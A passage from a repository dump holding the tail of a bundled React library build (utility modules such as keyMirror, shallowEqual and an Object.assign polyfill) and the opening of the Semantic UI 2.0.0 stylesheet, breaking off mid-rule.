keyMirror({blue: null, red: null});\n *   var myColor = COLORS.blue;\n *   var isColorValid = !!COLORS[myColor];\n *\n * The last line could not be performed if the values of the generated enum were\n * not equal to their keys.\n *\n *   Input:  {key1: val1, key2: val2}\n *   Output: {key1: key1, key2: key2}\n *\n * @param {object} obj\n * @return {object}\n */\nvar keyMirror = function (obj) {\n  var ret = {};\n  var key;\n  !(obj instanceof Object && !Array.isArray(obj)) ? \"development\" !== 'production' ? invariant(false, 'keyMirror(...): Argument must be an object.') : invariant(false) : void 0;\n  for (key in obj) {\n    if (!obj.hasOwnProperty(key)) {\n      continue;\n    }\n    ret[key] = key;\n  }\n  return ret;\n};\n\nmodule.exports = keyMirror;\n},{\"158\":158}],162:[function(_dereq_,module,exports){\n\"use strict\";\n\n/**\n * Copyright (c) 2013-present, Facebook, Inc.\n * All rights reserved.\n *\n * This source code is licensed under the BSD-style license found in the\n * LICENSE file in the root directory of this source tree. An additional grant\n * of patent rights can be found in the PATENTS file in the same directory.\n *\n */\n\n/**\n * Allows extraction of a minified key. Let's the build system minify keys\n * without losing the ability to dynamically use key strings as values\n * themselves. Pass in an object with a single key/val pair and it will return\n * you the string key of that single record. Suppose you want to grab the\n * value for a key 'className' inside of an object. Key/val minification may\n * have aliased that key to be 'xa12'. keyOf({className: null}) will return\n * 'xa12' in that case. Resolve keys you want to use once at startup time, then\n * reuse those resolutions.\n */\nvar keyOf = function (oneKeyObj) {\n  var key;\n  for (key in oneKeyObj) {\n    if (!oneKeyObj.hasOwnProperty(key)) {\n      continue;\n    }\n    return key;\n  }\n  return null;\n};\n\nmodule.exports = keyOf;\n},{}],163:[function(_dereq_,module,exports){\n/**\n * Copyright (c) 2013-present, Facebook, Inc.\n * All rights reserved.\n *\n * This source code is licensed under the BSD-style license found in the\n * LICENSE file in the root directory of this source tree. An additional grant\n * of patent rights can be found in the PATENTS file in the same directory.\n *\n */\n\n'use strict';\n\nvar hasOwnProperty = Object.prototype.hasOwnProperty;\n\n/**\n * Executes the provided `callback` once for each enumerable own property in the\n * object and constructs a new object from the results. The `callback` is\n * invoked with three arguments:\n *\n *  - the property value\n *  - the property name\n *  - the object being traversed\n *\n * Properties that are added after the call to `mapObject` will not be visited\n * by `callback`. If the values of existing properties are changed, the value\n * passed to `callback` will be the value at the time `mapObject` visits them.\n * Properties that are deleted before being visited are not visited.\n *\n * @grep function objectMap()\n * @grep function objMap()\n *\n * @param {?object} object\n * @param {function} callback\n * @param {*} context\n * @return {?object}\n */\nfunction mapObject(object, callback, context) {\n  if (!object) {\n    return null;\n  }\n  var result = {};\n  for (var name in object) {\n    if (hasOwnProperty.call(object, name)) {\n      result[name] = callback.call(context, object[name], name, object);\n    }\n  }\n  return result;\n}\n\nmodule.exports = mapObject;\n},{}],164:[function(_dereq_,module,exports){\n/**\n * Copyright (c) 2013-present, Facebook, Inc.\n * All rights reserved.\n *\n * This source code is licensed under the BSD-style license found in the\n * LICENSE file in the root directory of this source tree. An additional grant\n * of patent rights can be found in the PATENTS file in the same directory.\n *\n * @typechecks static-only\n */\n\n'use strict';\n\n/**\n * Memoizes the return value of a function that accepts one string argument.\n *\n * @param {function} callback\n * @return {function}\n */\n\nfunction memoizeStringOnly(callback) {\n  var cache = {};\n  return function (string) {\n    if (!cache.hasOwnProperty(string)) {\n      cache[string] = callback.call(this, string);\n    }\n    return cache[string];\n  };\n}\n\nmodule.exports = memoizeStringOnly;\n},{}],165:[function(_dereq_,module,exports){\n/**\n * Copyright (c) 2013-present, Facebook, Inc.\n * All rights reserved.\n *\n * This source code is licensed under the BSD-style license found in the\n * LICENSE file in the root directory of this source tree. An additional grant\n * of patent rights can be found in the PATENTS file in the same directory.\n *\n * @typechecks\n */\n\n'use strict';\n\nvar ExecutionEnvironment = _dereq_(144);\n\nvar performance;\n\nif (ExecutionEnvironment.canUseDOM) {\n  performance = window.performance || window.msPerformance || window.webkitPerformance;\n}\n\nmodule.exports = performance || {};\n},{\"144\":144}],166:[function(_dereq_,module,exports){\n'use strict';\n\n/**\n * Copyright (c) 2013-present, Facebook, Inc.\n * All rights reserved.\n *\n * This source code is licensed under the BSD-style license found in the\n * LICENSE file in the root directory of this source tree. An additional grant\n * of patent rights can be found in the PATENTS file in the same directory.\n *\n * @typechecks\n */\n\nvar performance = _dereq_(165);\n\nvar performanceNow;\n\n/**\n * Detect if we can use `window.performance.now()` and gracefully fallback to\n * `Date.now()` if it doesn't exist. We need to support Firefox < 15 for now\n * because of Facebook's testing infrastructure.\n */\nif (performance.now) {\n  performanceNow = function () {\n    return performance.now();\n  };\n} else {\n  performanceNow = function () {\n    return Date.now();\n  };\n}\n\nmodule.exports = performanceNow;\n},{\"165\":165}],167:[function(_dereq_,module,exports){\n/**\n * Copyright (c) 2013-present, Facebook, Inc.\n * All rights reserved.\n *\n * This source code is licensed under the BSD-style license found in the\n * LICENSE file in the root directory of this source tree. An additional grant\n * of patent rights can be found in the PATENTS file in the same directory.\n *\n * @typechecks\n *\n */\n\n/*eslint-disable no-self-compare */\n\n'use strict';\n\nvar hasOwnProperty = Object.prototype.hasOwnProperty;\n\n/**\n * inlined Object.is polyfill to avoid requiring consumers ship their own\n * https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/is\n */\nfunction is(x, y) {\n  // SameValue algorithm\n  if (x === y) {\n    // Steps 1-5, 7-10\n    // Steps 6.b-6.e: +0 != -0\n    return x !== 0 || 1 / x === 1 / y;\n  } else {\n    // Step 6.a: NaN == NaN\n    return x !== x && y !== y;\n  }\n}\n\n/**\n * Performs equality by iterating through keys on an object and returning false\n * when any key has values which are not strictly equal between the arguments.\n * Returns true when the values of all keys are strictly equal.\n */\nfunction shallowEqual(objA, objB) {\n  if (is(objA, objB)) {\n    return true;\n  }\n\n  if (typeof objA !== 'object' || objA === null || typeof objB !== 'object' || objB === null) {\n    return false;\n  }\n\n  var keysA = Object.keys(objA);\n  var keysB = Object.keys(objB);\n\n  if (keysA.length !== keysB.length) {\n    return false;\n  }\n\n  // Test for A's keys different from B.\n  for (var i = 0; i < keysA.length; i++) {\n    if (!hasOwnProperty.call(objB, keysA[i]) || !is(objA[keysA[i]], objB[keysA[i]])) {\n      return false;\n    }\n  }\n\n  return true;\n}\n\nmodule.exports = shallowEqual;\n},{}],168:[function(_dereq_,module,exports){\n/**\n * Copyright 2014-2015, Facebook, Inc.\n * All rights reserved.\n *\n * This source code is licensed under the BSD-style license found in the\n * LICENSE file in the root directory of this source tree. An additional grant\n * of patent rights can be found in the PATENTS file in the same directory.\n *\n */\n\n'use strict';\n\nvar emptyFunction = _dereq_(150);\n\n/**\n * Similar to invariant but only logs a warning if the condition is not met.\n * This can be used to log issues in development environments in critical\n * paths. Removing the logging code for production environments will keep the\n * same logic and follow the same code paths.\n */\n\nvar warning = emptyFunction;\n\nif (\"development\" !== 'production') {\n  warning = function (condition, format) {\n    for (var _len = arguments.length, args = Array(_len > 2 ? _len - 2 : 0), _key = 2; _key < _len; _key++) {\n      args[_key - 2] = arguments[_key];\n    }\n\n    if (format === undefined) {\n      throw new Error('`warning(condition, format, ...args)` requires a warning ' + 'message argument');\n    }\n\n    if (format.indexOf('Failed Composite propType: ') === 0) {\n      return; // Ignore CompositeComponent proptype check.\n    }\n\n    if (!condition) {\n      var argIndex = 0;\n      var message = 'Warning: ' + format.replace(/%s/g, function () {\n        return args[argIndex++];\n      });\n      if (typeof console !== 'undefined') {\n        console.error(message);\n      }\n      try {\n        // --- Welcome to debugging React ---\n        // This error was thrown as a convenience so that you can use this stack\n        // to find the callsite that caused this warning to fire.\n        throw new Error(message);\n      } catch (x) {}\n    }\n  };\n}\n\nmodule.exports = warning;\n},{\"150\":150}],169:[function(_dereq_,module,exports){\n/* eslint-disable no-unused-vars */\n'use strict';\nvar hasOwnProperty = Object.prototype.hasOwnProperty;\nvar propIsEnumerable = Object.prototype.propertyIsEnumerable;\n\nfunction toObject(val) {\n\tif (val === null || val === undefined) {\n\t\tthrow new TypeError('Object.assign cannot be called with null or undefined');\n\t}\n\n\treturn Object(val);\n}\n\nmodule.exports = Object.assign || function (target, source) {\n\tvar from;\n\tvar to = toObject(target);\n\tvar symbols;\n\n\tfor (var s = 1; s < arguments.length; s++) {\n\t\tfrom = Object(arguments[s]);\n\n\t\tfor (var key in from) {\n\t\t\tif (hasOwnProperty.call(from, key)) {\n\t\t\t\tto[key] = from[key];\n\t\t\t}\n\t\t}\n\n\t\tif (Object.getOwnPropertySymbols) {\n\t\t\tsymbols = Object.getOwnPropertySymbols(from);\n\t\t\tfor (var i = 0; i < symbols.length; i++) {\n\t\t\t\tif (propIsEnumerable.call(from, symbols[i])) {\n\t\t\t\t\tto[symbols[i]] = from[symbols[i]];\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\treturn to;\n};\n\n},{}]},{},[92])(92)\n});\n"
  },
  {
    "path": "antSword/static/libs/semanticui/semantic.css",
    "content": " /*\n * # Semantic UI - 2.0.0\n * https://github.com/Semantic-Org/Semantic-UI\n * http://www.semantic-ui.com/\n *\n * Copyright 2014 Contributors\n * Released under the MIT license\n * http://opensource.org/licenses/MIT\n *\n */\n@import url('https://fonts.googleapis.com/css?family=Lato:400,700,400italic,700italic&subset=latin');\n/*!\n * # Semantic UI 2.0.0 - Reset\n * http://github.com/semantic-org/semantic-ui/\n *\n *\n * Copyright 2015 Contributors\n * Released under the MIT license\n * http://opensource.org/licenses/MIT\n *\n */\n\n/*******************************\n             Reset\n*******************************/\n\n/* Border-Box */\n\n*,\n*:before,\n*:after {\n  box-sizing: inherit;\n}\n\nhtml {\n  box-sizing: border-box;\n}\n\n/* iPad Input Shadows */\n\ninput[type=\"text\"],\ninput[type=\"email\"],\ninput[type=\"search\"],\ninput[type=\"password\"] {\n  -webkit-appearance: none;\n  -moz-appearance: none;\n  /* mobile firefox too! */\n}\n\n/*******************************\n         Theme Overrides\n*******************************/\n\n/*! normalize.css v3.0.1 | MIT License | git.io/normalize */\n\n/**\n * Correct `block` display not defined in IE 8/9.\n */\n\n/*! normalize.css v3.0.1 | MIT License | git.io/normalize */\n\n/**\n * 1. Set default font family to sans-serif.\n * 2. Prevent iOS text size adjust after orientation change, without disabling\n *    user zoom.\n */\n\nhtml {\n  font-family: sans-serif;\n  /* 1 */\n  -ms-text-size-adjust: 100%;\n  /* 2 */\n  -webkit-text-size-adjust: 100%;\n  /* 2 */\n}\n\n/**\n * Remove default margin.\n */\n\nbody {\n  margin: 0;\n}\n\n/* HTML5 display definitions\n   ========================================================================== */\n\n/**\n * Correct `block` display not defined for any HTML5 element in IE 8/9.\n * Correct `block` display not defined for `details` or `summary` in IE 10/11 and Firefox.\n * Correct `block` display not defined for `main` in IE 11.\n */\n\narticle,\naside,\ndetails,\nfigcaption,\nfigure,\nfooter,\nheader,\nhgroup,\nmain,\nnav,\nsection,\nsummary {\n  display: block;\n}\n\n/**\n * 1. Correct `inline-block` display not defined in IE 8/9.\n * 2. Normalize vertical alignment of `progress` in Chrome, Firefox, and Opera.\n */\n\naudio,\ncanvas,\nprogress,\nvideo {\n  display: inline-block;\n  /* 1 */\n  vertical-align: baseline;\n  /* 2 */\n}\n\n/**\n * Prevent modern browsers from displaying `audio` without controls.\n * Remove excess height in iOS 5 devices.\n */\n\naudio:not([controls]) {\n  display: none;\n  height: 0;\n}\n\n/**\n * Address `[hidden]` styling not present in IE 8/9/10.\n * Hide the `template` element in IE 8/9/11, Safari, and Firefox < 22.\n */\n\n[hidden],\ntemplate {\n  display: none;\n}\n\n/* Links\n   ========================================================================== */\n\n/**\n * Remove the gray background color from active links in IE 10.\n */\n\na {\n  background: transparent;\n}\n\n/**\n * Improve readability when focused and also mouse hovered in all browsers.\n */\n\na:active,\na:hover {\n  outline: 0;\n}\n\n/* Text-level semantics\n   ========================================================================== */\n\n/**\n * Address styling not present in IE 8/9/10/11, Safari, and Chrome.\n */\n\nabbr[title] {\n  border-bottom: 1px dotted;\n}\n\n/**\n * Address style set to `bolder` in Firefox 4+, Safari, and Chrome.\n */\n\nb,\nstrong {\n  font-weight: bold;\n}\n\n/**\n * Address styling not present in Safari and Chrome.\n */\n\ndfn {\n  font-style: italic;\n}\n\n/**\n * Address variable `h1` font-size and margin within `section` and `article`\n * contexts in Firefox 4+, Safari, and Chrome.\n */\n\nh1 {\n  font-size: 2em;\n  margin: 0.67em 0;\n}\n\n/**\n * Address styling not present in IE 8/9.\n */\n\nmark {\n  background: #ff0;\n  color: #000;\n}\n\n/**\n * Address inconsistent and variable font size in all browsers.\n */\n\nsmall {\n  font-size: 80%;\n}\n\n/**\n * Prevent `sub` and `sup` affecting `line-height` in all browsers.\n */\n\nsub,\nsup {\n  font-size: 75%;\n  line-height: 0;\n  position: relative;\n  vertical-align: baseline;\n}\n\nsup {\n  top: -0.5em;\n}\n\nsub {\n  bottom: -0.25em;\n}\n\n/* Embedded content\n   ========================================================================== */\n\n/**\n * Remove border when inside `a` element in IE 8/9/10.\n */\n\nimg {\n  border: 0;\n}\n\n/**\n * Correct overflow not hidden in IE 9/10/11.\n */\n\nsvg:not(:root) {\n  overflow: hidden;\n}\n\n/* Grouping content\n   ========================================================================== */\n\n/**\n * Address margin not present in IE 8/9 and Safari.\n */\n\nfigure {\n  margin: 1em 40px;\n}\n\n/**\n * Address differences between Firefox and other browsers.\n */\n\nhr {\n  box-sizing: content-box;\n  height: 0;\n}\n\n/**\n * Contain overflow in all browsers.\n */\n\npre {\n  overflow: auto;\n}\n\n/**\n * Address odd `em`-unit font size rendering in all browsers.\n */\n\ncode,\nkbd,\npre,\nsamp {\n  font-family: monospace, monospace;\n  font-size: 1em;\n}\n\n/* Forms\n   ========================================================================== */\n\n/**\n * Known limitation: by default, Chrome and Safari on OS X allow very limited\n * styling of `select`, unless a `border` property is set.\n */\n\n/**\n * 1. Correct color not being inherited.\n *    Known issue: affects color of disabled elements.\n * 2. Correct font properties not being inherited.\n * 3. Address margins set differently in Firefox 4+, Safari, and Chrome.\n */\n\nbutton,\ninput,\noptgroup,\nselect,\ntextarea {\n  color: inherit;\n  /* 1 */\n  font: inherit;\n  /* 2 */\n  margin: 0;\n  /* 3 */\n}\n\n/**\n * Address `overflow` set to `hidden` in IE 8/9/10/11.\n */\n\nbutton {\n  overflow: visible;\n}\n\n/**\n * Address inconsistent `text-transform` inheritance for `button` and `select`.\n * All other form control elements do not inherit `text-transform` values.\n * Correct `button` style inheritance in Firefox, IE 8/9/10/11, and Opera.\n * Correct `select` style inheritance in Firefox.\n */\n\nbutton,\nselect {\n  text-transform: none;\n}\n\n/**\n * 1. Avoid the WebKit bug in Android 4.0.* where (2) destroys native `audio`\n *    and `video` controls.\n * 2. Correct inability to style clickable `input` types in iOS.\n * 3. Improve usability and consistency of cursor style between image-type\n *    `input` and others.\n */\n\nbutton,\nhtml input[type=\"button\"],\ninput[type=\"reset\"],\ninput[type=\"submit\"] {\n  -webkit-appearance: button;\n  /* 2 */\n  cursor: pointer;\n  /* 3 */\n}\n\n/**\n * Re-set default cursor for disabled elements.\n */\n\nbutton[disabled],\nhtml input[disabled] {\n  cursor: default;\n}\n\n/**\n * Remove inner padding and border in Firefox 4+.\n */\n\nbutton::-moz-focus-inner,\ninput::-moz-focus-inner {\n  border: 0;\n  padding: 0;\n}\n\n/**\n * Address Firefox 4+ setting `line-height` on `input` using `!important` in\n * the UA stylesheet.\n */\n\ninput {\n  line-height: normal;\n}\n\n/**\n * It's recommended that you don't attempt to style these elements.\n * Firefox's implementation doesn't respect box-sizing, padding, or width.\n *\n * 1. Address box sizing set to `content-box` in IE 8/9/10.\n * 2. Remove excess padding in IE 8/9/10.\n */\n\ninput[type=\"checkbox\"],\ninput[type=\"radio\"] {\n  box-sizing: border-box;\n  /* 1 */\n  padding: 0;\n  /* 2 */\n}\n\n/**\n * Fix the cursor style for Chrome's increment/decrement buttons. For certain\n * `font-size` values of the `input`, it causes the cursor style of the\n * decrement button to change from `default` to `text`.\n */\n\ninput[type=\"number\"]::-webkit-inner-spin-button,\ninput[type=\"number\"]::-webkit-outer-spin-button {\n  height: auto;\n}\n\n/**\n * 1. Address `appearance` set to `searchfield` in Safari and Chrome.\n * 2. Address `box-sizing` set to `border-box` in Safari and Chrome\n *    (include `-moz` to future-proof).\n */\n\ninput[type=\"search\"] {\n  -webkit-appearance: textfield;\n  /* 1 */\n  /* 2 */\n  box-sizing: content-box;\n}\n\n/**\n * Remove inner padding and search cancel button in Safari and Chrome on OS X.\n * Safari (but not Chrome) clips the cancel button when the search input has\n * padding (and `textfield` appearance).\n */\n\ninput[type=\"search\"]::-webkit-search-cancel-button,\ninput[type=\"search\"]::-webkit-search-decoration {\n  -webkit-appearance: none;\n}\n\n/**\n * Define consistent border, margin, and padding.\n */\n\nfieldset {\n  border: 1px solid #c0c0c0;\n  margin: 0 2px;\n  padding: 0.35em 0.625em 0.75em;\n}\n\n/**\n * 1. Correct `color` not being inherited in IE 8/9/10/11.\n * 2. Remove padding so people aren't caught out if they zero out fieldsets.\n */\n\nlegend {\n  border: 0;\n  /* 1 */\n  padding: 0;\n  /* 2 */\n}\n\n/**\n * Remove default vertical scrollbar in IE 8/9/10/11.\n */\n\ntextarea {\n  overflow: auto;\n}\n\n/**\n * Don't inherit the `font-weight` (applied by a rule above).\n * NOTE: the default cannot safely be changed in Chrome and Safari on OS X.\n */\n\noptgroup {\n  font-weight: bold;\n}\n\n/* Tables\n   ========================================================================== */\n\n/**\n * Remove most spacing between table cells.\n */\n\ntable {\n  border-collapse: collapse;\n  border-spacing: 0;\n}\n\ntd,\nth {\n  padding: 0;\n}\n\n/*******************************\n         Site Overrides\n*******************************/\n/*!\n * # Semantic UI 2.0.0 - Site\n * http://github.com/semantic-org/semantic-ui/\n *\n *\n * Copyright 2015 Contributors\n * Released under the MIT license\n * http://opensource.org/licenses/MIT\n *\n */\n\n/*******************************\n             Page\n*******************************/\n\nhtml,\nbody {\n  height: 100%;\n}\n\nhtml {\n  font-size: 14px;\n}\n\nbody {\n  margin: 0px;\n  padding: 0px;\n  overflow-x: hidden;\n  min-width: 320px;\n  background: #ffffff;\n  font-family: 'Lato', 'Helvetica Neue', Arial, Helvetica, sans-serif;\n  font-size: 14px;\n  line-height: 1.4285em;\n  color: rgba(0, 0, 0, 0.87);\n  font-smoothing: antialiased;\n}\n\n/*******************************\n             Headers\n*******************************/\n\nh1,\nh2,\nh3,\nh4,\nh5 {\n  font-family: 'Lato', 'Helvetica Neue', Arial, Helvetica, sans-serif;\n  line-height: 1.2857em;\n  margin: calc(2rem -  0.14285em ) 0em 1rem;\n  font-weight: bold;\n  padding: 0em;\n}\n\nh1 {\n  min-height: 1rem;\n  font-size: 2rem;\n}\n\nh2 {\n  font-size: 1.714rem;\n}\n\nh3 {\n  font-size: 1.28rem;\n}\n\nh4 {\n  font-size: 1.071rem;\n}\n\nh5 {\n  font-size: 1rem;\n}\n\nh1:first-child,\nh2:first-child,\nh3:first-child,\nh4:first-child,\nh5:first-child {\n  margin-top: 0em;\n}\n\nh1:last-child,\nh2:last-child,\nh3:last-child,\nh4:last-child,\nh5:last-child {\n  margin-bottom: 0em;\n}\n\n/*******************************\n             Text\n*******************************/\n\np {\n  margin: 0em 0em 1em;\n  line-height: 1.4285em;\n}\n\np:first-child {\n  margin-top: 0em;\n}\n\np:last-child {\n  margin-bottom: 0em;\n}\n\n/*-------------------\n        Links\n--------------------*/\n\na {\n  color: #4183c4;\n  text-decoration: none;\n}\n\na:hover {\n  color: #1e70bf;\n  text-decoration: none;\n}\n\n/*******************************\n          Highlighting\n*******************************/\n\n/* Site */\n\n::-webkit-selection {\n  background-color: #cce2ff;\n  color: rgba(0, 0, 0, 0.87);\n}\n\n::-moz-selection {\n  background-color: #cce2ff;\n  color: rgba(0, 0, 0, 0.87);\n}\n\n::selection {\n  background-color: #cce2ff;\n  color: rgba(0, 0, 0, 0.87);\n}\n\n/* Form */\n\ntextarea::-webkit-selection,\ninput::-webkit-selection {\n  background-color: rgba(100, 100, 100, 0.4);\n  color: rgba(0, 0, 0, 0.87);\n}\n\ntextarea::-moz-selection,\ninput::-moz-selection {\n  background-color: rgba(100, 100, 100, 0.4);\n  color: rgba(0, 0, 0, 0.87);\n}\n\ntextarea::selection,\ninput::selection {\n  background-color: rgba(100, 100, 100, 0.4);\n  color: rgba(0, 0, 0, 0.87);\n}\n\n/*******************************\n        Global Overrides\n*******************************/\n\n/*******************************\n         Site Overrides\n*******************************/\n/*!\n * # Semantic UI 2.0.0 - Button\n * http://github.com/semantic-org/semantic-ui/\n *\n *\n * Copyright 2015 Contributors\n * Released under the MIT license\n * http://opensource.org/licenses/MIT\n *\n */\n\n/*******************************\n            Button\n*******************************/\n\n.ui.button {\n  cursor: pointer;\n  display: inline-block;\n  min-height: 1em;\n  outline: none;\n  border: none;\n  vertical-align: baseline;\n  background: #e0e1e2 none;\n  color: rgba(0, 0, 0, 0.6);\n  font-family: 'Lato', 'Helvetica Neue', Arial, Helvetica, sans-serif;\n  margin: 0em 0.25em 0em 0em;\n  padding: 0.78571429em 1.5em 0.78571429em;\n  text-transform: none;\n  text-shadow: none;\n  font-weight: bold;\n  line-height: 1em;\n  font-style: normal;\n  text-align: center;\n  text-decoration: none;\n  border-radius: 0.28571429rem;\n  box-shadow: 0px 0px 0px 1px transparent inset, 0px 0em 0px 0px rgba(34, 36, 38, 0.15) inset;\n  -webkit-user-select: none;\n  -moz-user-select: none;\n  -ms-user-select: none;\n  user-select: none;\n  -webkit-transition: opacity 0.1s ease, background-color 0.1s ease, color 0.1s ease, box-shadow 0.1s ease, background 0.1s ease;\n  transition: opacity 0.1s ease, background-color 0.1s ease, color 0.1s ease, box-shadow 0.1s ease, background 0.1s ease;\n  will-change: '';\n  -webkit-tap-highlight-color: transparent;\n}\n\n/*******************************\n            States\n*******************************/\n\n/*--------------\n      Hover\n---------------*/\n\n.ui.button:hover {\n  background-color: #cacbcd;\n  background-image: none;\n  box-shadow: 0px 0px 0px 1px transparent inset, 0px 0em 0px 0px rgba(34, 36, 38, 0.15) inset;\n  color: rgba(0, 0, 0, 0.8);\n}\n\n.ui.button:hover .icon {\n  opacity: 0.85;\n}\n\n/*--------------\n      Focus\n---------------*/\n\n.ui.button:focus {\n  background-color: #cacbcd;\n  color: rgba(0, 0, 0, 0.8);\n  background-image: '' !important;\n  box-shadow: '' !important;\n}\n\n.ui.button:focus .icon {\n  opacity: 0.85;\n}\n\n/*--------------\n      Down\n---------------*/\n\n.ui.button:active,\n.ui.active.button:active {\n  background-color: #babbbc;\n  background-image: '';\n  color: rgba(0, 0, 0, 0.9);\n  box-shadow: 0px 0px 0px 1px transparent inset, none;\n}\n\n/*--------------\n     Active\n---------------*/\n\n.ui.active.button {\n  background-color: #c0c1c2;\n  background-image: none;\n  box-shadow: 0px 0px 0px 1px transparent inset;\n  color: rgba(0, 0, 0, 0.95);\n}\n\n.ui.active.button:hover {\n  background-color: #c0c1c2;\n  background-image: none;\n  color: rgba(0, 0, 0, 0.95);\n}\n\n.ui.active.button:active {\n  background-color: #c0c1c2;\n  background-image: none;\n}\n\n/*--------------\n    Loading\n---------------*/\n\n/* Specificity hack */\n\n.ui.loading.loading.loading.loading.loading.loading.button {\n  position: relative;\n  cursor: default;\n  text-shadow: none !important;\n  color: transparent !important;\n  opacity: 1;\n  pointer-events: auto;\n  -webkit-transition: all 0s linear, opacity 0.1s ease;\n  transition: all 0s linear, opacity 0.1s ease;\n}\n\n.ui.loading.button:before {\n  position: absolute;\n  content: '';\n  top: 50%;\n  left: 50%;\n  margin: -0.64285714em 0em 0em -0.64285714em;\n  width: 1.28571429em;\n  height: 1.28571429em;\n  border-radius: 500rem;\n  border: 0.2em solid rgba(0, 0, 0, 0.15);\n}\n\n.ui.loading.button:after {\n  position: absolute;\n  content: '';\n  top: 50%;\n  left: 50%;\n  margin: -0.64285714em 0em 0em -0.64285714em;\n  width: 1.28571429em;\n  height: 1.28571429em;\n  -webkit-animation: button-spin 0.6s linear;\n  animation: button-spin 0.6s linear;\n  -webkit-animation-iteration-count: infinite;\n  animation-iteration-count: infinite;\n  border-radius: 500rem;\n  border-color: #ffffff transparent transparent;\n  border-style: solid;\n  border-width: 0.2em;\n  box-shadow: 0px 0px 0px 1px transparent;\n}\n\n.ui.labeled.icon.loading.button .icon {\n  background-color: transparent;\n  box-shadow: none;\n}\n\n@-webkit-keyframes button-spin {\n  from {\n    -webkit-transform: rotate(0deg);\n    transform: rotate(0deg);\n  }\n\n  to {\n    -webkit-transform: rotate(360deg);\n    transform: rotate(360deg);\n  }\n}\n\n@keyframes button-spin {\n  from {\n    -webkit-transform: rotate(0deg);\n    transform: rotate(0deg);\n  }\n\n  to {\n    -webkit-transform: rotate(360deg);\n    transform: rotate(360deg);\n  }\n}\n\n.ui.basic.loading.button:not(.inverted):before {\n  border-color: rgba(0, 0, 0, 0.1);\n}\n\n.ui.basic.loading.button:not(.inverted):after {\n  border-top-color: #767676;\n}\n\n/*-------------------\n      Disabled\n--------------------*/\n\n.ui.buttons .disabled.button,\n.ui.disabled.button,\n.ui.button:disabled,\n.ui.disabled.button:hover,\n.ui.disabled.active.button {\n  cursor: default;\n  opacity: 0.45 !important;\n  background-image: none !important;\n  box-shadow: none !important;\n  pointer-events: none;\n}\n\n/* Basic Group With Disabled */\n\n.ui.basic.buttons .ui.disabled.button {\n  border-color: rgba(34, 36, 38, 0.5);\n}\n\n/*******************************\n             Types\n*******************************/\n\n/*-------------------\n       Animated\n--------------------*/\n\n.ui.animated.button {\n  position: relative;\n  overflow: hidden;\n  padding-right: 0em !important;\n  vertical-align: middle;\n  z-index: 1;\n}\n\n.ui.animated.button .content {\n  will-change: transform, opacity;\n}\n\n.ui.animated.button .visible.content {\n  position: relative;\n  margin-right: 1.5em;\n}\n\n.ui.animated.button .hidden.content {\n  position: absolute;\n  width: 100%;\n}\n\n/* Horizontal */\n\n.ui.animated.button .visible.content,\n.ui.animated.button .hidden.content {\n  -webkit-transition: right 0.3s ease 0s;\n  transition: right 0.3s ease 0s;\n}\n\n.ui.animated.button .visible.content {\n  left: auto;\n  right: 0%;\n}\n\n.ui.animated.button .hidden.content {\n  top: 50%;\n  left: auto;\n  right: -100%;\n  margin-top: -0.5em;\n}\n\n.ui.animated.button:focus .visible.content,\n.ui.animated.button:hover .visible.content {\n  left: auto;\n  right: 200%;\n}\n\n.ui.animated.button:focus .hidden.content,\n.ui.animated.button:hover .hidden.content {\n  left: auto;\n  right: 0%;\n}\n\n/* Vertical */\n\n.ui.vertical.animated.button .visible.content,\n.ui.vertical.animated.button .hidden.content {\n  -webkit-transition: top 0.3s ease, -webkit-transform 0.3s ease;\n  transition: top 0.3s ease, transform 0.3s ease;\n}\n\n.ui.vertical.animated.button .visible.content {\n  -webkit-transform: translateY(0%);\n  -ms-transform: translateY(0%);\n  transform: translateY(0%);\n  right: auto;\n}\n\n.ui.vertical.animated.button .hidden.content {\n  top: -50%;\n  left: 0%;\n  right: auto;\n}\n\n.ui.vertical.animated.button:focus .visible.content,\n.ui.vertical.animated.button:hover .visible.content {\n  -webkit-transform: translateY(200%);\n  -ms-transform: translateY(200%);\n  transform: translateY(200%);\n  right: auto;\n}\n\n.ui.vertical.animated.button:focus .hidden.content,\n.ui.vertical.animated.button:hover .hidden.content {\n  top: 50%;\n  right: auto;\n}\n\n/* Fade */\n\n.ui.fade.animated.button .visible.content,\n.ui.fade.animated.button .hidden.content {\n  -webkit-transition: opacity 0.3s ease, -webkit-transform 0.3s ease;\n  transition: opacity 0.3s ease, transform 0.3s ease;\n}\n\n.ui.fade.animated.button .visible.content {\n  left: auto;\n  right: auto;\n  opacity: 1;\n  -webkit-transform: scale(1);\n  -ms-transform: scale(1);\n  transform: scale(1);\n}\n\n.ui.fade.animated.button .hidden.content {\n  opacity: 0;\n  left: 0%;\n  right: auto;\n  -webkit-transform: scale(1.5);\n  -ms-transform: scale(1.5);\n  transform: scale(1.5);\n}\n\n.ui.fade.animated.button:focus .visible.content,\n.ui.fade.animated.button:hover .visible.content {\n  left: auto;\n  right: auto;\n  opacity: 0;\n  -webkit-transform: scale(0.75);\n  -ms-transform: scale(0.75);\n  transform: scale(0.75);\n}\n\n.ui.fade.animated.button:focus .hidden.content,\n.ui.fade.animated.button:hover .hidden.content {\n  left: 0%;\n  right: auto;\n  opacity: 1;\n  -webkit-transform: scale(1);\n  -ms-transform: scale(1);\n  transform: scale(1);\n}\n\n/*-------------------\n       Inverted\n--------------------*/\n\n.ui.inverted.button {\n  box-shadow: 0px 0px 0px 2px #ffffff inset !important;\n  background: transparent none;\n  color: #ffffff;\n  text-shadow: none !important;\n}\n\n/* Group */\n\n.ui.inverted.buttons .button {\n  margin: 0px 0px 0px -2px;\n}\n\n.ui.inverted.buttons .button:first-child {\n  margin-left: 0em;\n}\n\n.ui.inverted.vertical.buttons .button {\n  margin: 0px 0px -2px 0px;\n}\n\n.ui.inverted.vertical.buttons .button:first-child {\n  margin-top: 0em;\n}\n\n/* States */\n\n.ui.inverted.button:hover {\n  background: #ffffff;\n  box-shadow: 0px 0px 0px 2px #ffffff inset !important;\n  color: rgba(0, 0, 0, 0.8);\n}\n\n.ui.inverted.button:focus {\n  background: #ffffff;\n  box-shadow: 0px 0px 0px 2px #ffffff inset !important;\n  color: rgba(0, 0, 0, 0.8);\n}\n\n/*-------------------\n       Social\n--------------------*/\n\n/* Facebook */\n\n.ui.facebook.button {\n  background-color: #3b5998;\n  color: #ffffff;\n  text-shadow: none;\n  background-image: none;\n  box-shadow: 0px 0em 0px 0px rgba(34, 36, 38, 0.15) inset;\n}\n\n.ui.facebook.button:hover {\n  background-color: #304d8a;\n  color: #ffffff;\n  text-shadow: 